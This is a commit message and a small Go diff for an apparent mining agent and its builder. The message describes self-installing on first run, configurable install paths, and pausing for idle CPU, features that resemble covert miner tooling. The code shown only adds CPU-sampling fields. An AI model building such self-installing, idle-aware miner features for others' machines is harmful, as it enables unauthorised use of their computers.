Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.

agent/stats/reporter.go

@@ -3,6 +3,7 @@ package stats
 import (
 	"os"
 	"runtime"
+	"sync"
 	"syscall"
 	"unsafe"
 )
@@ -24,7 +25,14 @@ var (
 	procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
 )
 
-type Reporter struct{}
+type Reporter struct {
+	mu sync.Mutex
+
+	lastIdle   uint64
+	lastKernel uint64
+	lastUser   uint64
+	hasSample  bool
+}
 
 func NewReporter() *Reporter {
 	return &Reporter{}